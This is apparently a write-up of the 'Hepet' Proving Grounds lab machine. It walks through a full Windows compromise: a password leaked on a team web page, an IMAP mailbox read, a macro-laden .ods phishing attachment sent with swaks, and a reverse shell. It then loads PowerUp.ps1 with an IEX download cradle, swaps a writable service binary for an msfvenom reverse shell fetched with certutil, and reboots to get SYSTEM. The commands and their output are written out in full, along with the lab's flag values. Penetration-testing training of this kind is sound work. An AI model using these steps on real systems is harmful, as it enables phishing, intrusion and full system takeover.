the_open_door
coffee
ESEN

Hepet

Proving Grounds PracticeMediumWindows192.168.158.140

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#mercury-mail#imap#phishing#libreoffice-macro#ods-macro#insecure-service-permissions#service-hijack#information-disclosure#windows#oscp
TL;DR. The "Time Travel" website leaks jonas's credentials in his team profile. With them we log in over IMAP (Mercury/32) and read a mail describing a phishing flow: a mail administrator opens whatever he receives. We send an .ods with a malicious macro (LibreOffice macro RCE) and, when the victim opens it, we get a shell as ela arwel. To escalate, the veyon-service.exe service has weak permissions: we replace the binary and on reboot it runs as SYSTEM (insecure service permissions).

Recon

Initial scan

TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. The surface is huge, dominated by the Mercury/32 mail suite (SMTP, finger, POP3, IMAP) and a couple of web servers.

ping -c 1 192.168.158.140
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.158.140
PORT      STATE SERVICE
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
143/tcp   open  imap
443/tcp   open  ssl/http
2224/tcp  open  http
8000/tcp  open  http
11100/tcp open  vnc
20001/tcp open  ftp
33006/tcp open  mysql
nmap -p25,79,110,143,443,445,2224,8000,11100,20001,33006 -sCV 192.168.158.140 -oN targetedScan
PORT      STATE SERVICE   VERSION
25/tcp    open  smtp      Mercury/32 smtpd
79/tcp    open  finger    Mercury/32 fingerd
110/tcp   open  pop3      Mercury/32 pop3d
143/tcp   open  imap      Mercury/32 imapd 4.62
443/tcp   open  ssl/http  Apache httpd 2.4.46 (PHP/7.3.23) -- Time Travel Company Page
2224/tcp  open  http      Mercury/32 httpd
8000/tcp  open  http      Apache httpd 2.4.46 (PHP/7.3.23) -- Time Travel Company Page
11100/tcp open  vnc       VNC (protocol 3.8)
20001/tcp open  ftp       FileZilla ftpd 0.9.41 beta (anon)
33006/tcp open  mysql     MariaDB 10.3.24 or later

HTTP - TCP 443/8000: credentials on the web

The "Time Travel" page shows team profiles. Jonas K.'s profile carries a string that looks like a password:

Jonas K.'s profile on the web exposes SicMundusCreatusEst

We note jonas / SicMundusCreatusEst. On a host running an entire mail suite, a username and password scream "try IMAP".

Exploitation

IMAP - TCP 143: reading jonas's mail

We authenticate over IMAP in cleartext; the jonas login works and the mailbox holds 5 messages:

telnet 192.168.158.140 143
a1 LOGIN jonas SicMundusCreatusEst
a1 list "" *
a1 select INBOX

Mercury/32 v4.62 IMAP: jonas login OK and SELECT INBOX with 5 EXISTS

Trying 192.168.158.140 ...
Connected to 192.168.158.140.
Escape character is '^]'.
* OK localhost IMAP4rev1 Mercury/32 v4.62 server ready.
a1 LOGIN jonas SicMundusCreatusEst
a1 OK LOGIN completed.
a1 list "" *
* LIST (\NoInferiors) "/" INBOX
a1 OK LIST completed.
a1 select INBOX
* 5 EXISTS
* 0 RECENT
* FLAGS (\Deleted \Draft \Seen \Answered)
* OK [UIDVALIDITY 1771148601] UID Validity
* OK [UIDNEXT 6] Predicted next UID
* OK [PERMANENTFLAGS (\Deleted \Draft \Seen \Answered)] Settable message flags
a1 OK [READ-WRITE] SELECT completed.

We read the body of the second message:

a1 fetch 2 body[text]

Mail: "changing our office suite to LibreOffice... all the spreadsheets and documents will be first procesed in the mail server directly to check the compatibility"

Team,
We will be changing our office suite to LibreOffice. For the moment, all the spreadsheets
and documents will be first procesed in the mail server directly to check the compatibility.
I will forward all the documents after checking everything is working okay.

That mail describes the perfect phishing scenario: the company is moving to LibreOffice and documents that reach the mail server are processed (opened) automatically to check compatibility. If we send a spreadsheet with a macro, it will run. The message header reveals the sender/processor, mailadmin@localhost, which will be our recipient:

a1 fetch 2 body[header]

Mail header: From "mailadmin@localhost", To agnes, Cc jonas and magnus, Subject Important

a1 fetch 2 body[header]
* 2 FETCH (BODY[header] {739}
Received: from spooler by localhost (Mercury/32 v4.62); 19 Oct 2020 12:28:41 -0700
X-Envelope-To: <jonas@localhost>
Return-path: <mailadmin@localhost>
Received: from kali (192.168.118.8) by localhost (Mercury/32 v4.62) with ESMTP ID MG000001;
   19 Oct 2020 12:28:40 -0700
Message-ID: <359094.447081105-sendEmail@kali>
From: "mailadmin@localhost" <mailadmin@localhost>
To: "agnes@localhost" <agnes@localhost>
Cc: "jonas@localhost" <jonas@localhost>, "magnus@localhost" <magnus@localhost>
Subject: Important
Date: Mon, 19 Oct 2020 19:28:39 +0000
X-Mailer: sendEmail-1.56
MIME-Version: 1.0

RCE via ODS macro sent by mail

We generate an .ods (LibreOffice spreadsheet) with a macro that launches a reverse shell to 8000 (LibreOffice macro RCE) using MMG-LO:

git clone https://github.com/0bfxgh0st/MMG-LO/
cd MMG-LO
python3 mmg-ods.py windows 192.168.45.238 8000

MMG-LO: python3 mmg-ods.py windows 192.168.45.238 8000 builds the malicious .ods ("Creating malicious .ods file, Done")

$ ls
README.md  mmg-odb.py  mmg-odg.py  mmg-odp.py  mmg-ods.py  mmg-odt.py

$ python3 mmg-ods.py windows 192.168.45.238 8000
[+] Payload: windows reverse shell
[+] Creating malicious .ods file

Done.

And we send it with swaks from jonas to mailadmin, mimicking a legitimate mail:

swaks sends the .ods with the malicious macro (MMG-LO) from jonas to mailadmin over SMTP

swaks -t mailadmin@localhost --from jonas@localhost --attach @file.ods \
  --server 192.168.158.140 --body "Please check this spreadsheet" \
  --header "Subject: Please check this spreadsheet"

When the server processes the sheet, LibreOffice runs the macro. With Penelope listening on 8000, we get a shell as hepet\ela arwel (the prompt at C:\Program Files\LibreOffice\program confirms LibreOffice opened it):

penelope
# (Penelope)> listeners add -p 8000

Penelope catches the reverse shell from HEPET; whoami returns hepet\ela arwel in C:\Program Files\LibreOffice\program

[+] Got reverse shell from HEPET~192.168.158.140-Microsoft_Windows_10_Pro-x64-based_PC  Assigned SessionID <1>
PS C:\Program Files\LibreOffice\program> whoami
hepet\ela arwel

Local

type C:\Users\"Ela Arwel"\Desktop\local.txt; whoami; ipconfig; hostname

local.txt read as the ela arwel user on hepet

b78cb362f409abcceaae35ef4607093a
hepet\ela arwel

Privilege escalation

Insecure permissions on veyon-service.exe

We download PowerUp.ps1 (repo) and serve it over HTTP:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1
python3 -m http.server 80

wget downloads PowerUp.ps1 from PowerSploit and http.server serves it

$ ls
MMG-LO   PowerUp.ps1

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

The ls confirms the file landed (next to the MMG-LO cloned earlier) and the server stays listening on 80, which is where the victim will read it from.

We load it in memory and run Invoke-AllChecks, which flags the VeyonService service: its binary C:\Users\Ela Arwel\Veyon\veyon-service.exe is modifiable by HEPET\Ela Arwel and starts as LocalSystem (CanRestart: False, a detail that will matter later):

IEX(New-object Net.WebClient).downloadString('http://192.168.45.238/PowerUp.ps1')
Invoke-AllChecks

Invoke-AllChecks flags VeyonService: ModifiablePath veyon-service.exe by HEPET\Ela Arwel, StartName LocalSystem, CanRestart False

ServiceName    : VeyonService
Path           : C:\Users\Ela Arwel\Veyon\veyon-service.exe
ModifiablePath : @{ModifiablePath=C:\Users\Ela Arwel\Veyon\veyon-service.exe; IdentityReference=HEPET\Ela Arwel;
                 Permissions=System.Object}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'VeyonService' -Path <HijackPath>
CanRestart     : False
Name           : VeyonService
Check          : Unquoted Service Paths

ServiceName    : edgeupdate
Path           : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile : C:\
StartName      : LocalSystem
AbuseFunction  : Install-ServiceBinary -Name 'edgeupdate'
CanRestart     : False
Check          : Modifiable Service Files

We confirm it with icacls on the binary, and along the way check privileges and system:

icacls veyon-service.exe
whoami /priv
systeminfo
veyon-service.exe  NT AUTHORITY\SYSTEM:(I)(F)
                   BUILTIN\Administrators:(I)(F)
                   HEPET\Ela Arwel:(I)(F)

Our user, HEPET\Ela Arwel, has full control (F) over the service binary. We can replace it with a payload that will run under the service account (SYSTEM) (insecure service permissions). Also, whoami /priv shows SeShutdownPrivilege Disabled:

icacls: Ela Arwel has F over veyon-service.exe; whoami /priv with SeShutdownPrivilege Disabled; systeminfo Windows 10 Pro build 19042

We build the malicious binary with msfvenom (reverse to 1234):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.238 LPORT=1234 -f exe > veyon-service.exe

msfvenom builds the malicious veyon-service.exe (460-byte payload)

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes

$ ls
MMG-LO  PowerUp.ps1  veyon-service.exe

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We start the nc that will receive the connection, back up the original binary and replace it with ours via certutil:

rlwrap nc -nlvp 1234
move veyon-service.exe veyon-service.exe.bak
certutil.exe -f -urlcache -split http://192.168.45.238/veyon-service.exe veyon-service.exe

move keeps the original binary as .bak and certutil downloads the malicious veyon-service.exe in its place

PS C:\Users\Ela Arwel\Veyon> move veyon-service.exe veyon-service.exe.bak
PS C:\Users\Ela Arwel\Veyon> certutil.exe -f -urlcache -split http://192.168.45.238/veyon-service.exe veyon-service.exe
****  Online  ****
  0000  ...
  1e00
CertUtil: -URLCache command completed successfully.

Since SeShutdownPrivilege was Disabled and we could not restart the service by hand (CanRestart: False), we force a full machine reboot; on boot the service runs our binary as SYSTEM:

shutdown /r /t 0

shutdown /r kills Ela Arwel's session; on reboot the nc on 1234 catches a shell whose whoami is nt authority\system

# rlwrap -cAr nc -nlvp 1234
connect to [192.168.45.238] from (UNKNOWN) [192.168.158.140] 49668
Microsoft Windows [Version 10.0.19042.1348]
C:\WINDOWS\system32>whoami
nt authority\system

Proof

type C:\Users\Administrator\Desktop\proof.txt; whoami; ipconfig; hostname

proof.txt read as nt authority/system

d92005e6ebfbe823576f5dd0f871a92d
nt authority\system

Attack chain

Web Time Travel (443/8000)  --  Jonas's profile -> jonas : SicMundusCreatusEst
IMAP 143 (Mercury/32)  --  read mail -> mailadmin opens attachments (phishing)
        │  ODS macro (MMG-LO) sent via swaks to mailadmin
        ▼
hepet\ela arwel  (local.txt)
        │  veyon-service.exe with F permissions for Ela Arwel -> replace binary
        │  shutdown /r -> the service starts the payload as SYSTEM
        ▼
nt authority\system  (proof.txt)

Lessons learned

  • Corporate websites leak credentials. A team profile carrying jonas's password was all the initial access we needed.
  • Phishing works in an exam too. When a machine simulates a user that opens attachments, a LibreOffice/Office macro is RCE. Disabling macros and not opening unsolicited attachments cuts the vector.
  • icacls over service binaries is key. If a user has write access to the .exe of a service that runs as SYSTEM, they control that SYSTEM. Service binaries should be writable only by administrators.
  • No permission to restart the service? Restart the machine. If service startup fires the replaced binary, a shutdown /r achieves the same effect.
Command cheatsheet 10 commands

Quick review